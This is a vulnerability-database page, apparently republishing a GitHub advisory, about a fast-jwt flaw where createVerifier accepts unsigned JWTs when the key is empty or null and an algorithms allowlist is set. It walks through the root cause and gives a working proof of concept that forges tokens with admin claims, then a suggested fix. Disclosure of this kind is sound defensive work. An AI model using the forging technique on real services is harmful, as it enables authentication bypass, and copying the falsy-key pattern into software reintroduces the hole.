Alta

fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

  • Publicada: 08.10.2026
  • Actualizado: 11.10.2026 10:22

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

js
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

js
function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

js
const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

js
if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

  • createSigner({ key: '' }) / key: null → rejected
  • createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
  • createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

bash
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
js
// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

  1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
  2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

js
if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

js
if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm fast-jwt < 6.3.1 6.3.1

Referencias

Puntuación CVSS 7.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-20, CWE-347
Plataforma
npm
Paquete
fast-jwt
Publicada
08.10.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-8wpc-h4q6-8fxv - CC BY 4.0

Historial de vulnerabilidades: fast-jwt

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (14) en el archivo
Entradas en total
14
Primera → última
11.2023 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 4
  • Alta 4
  • Media 6

Divulgaciones por año

  1. 2023: 1
  2. 2024: 0
  3. 2025: 1
  4. 2026: 12
Gravedad:
  1. fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set esta entrada
    Alta · 7.4 CVE-2026-107720 < 6.3.1 6.3.1
  2. Alta · 7.5 CVE-2026-35042 <= 6.1.0 sin corrección

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.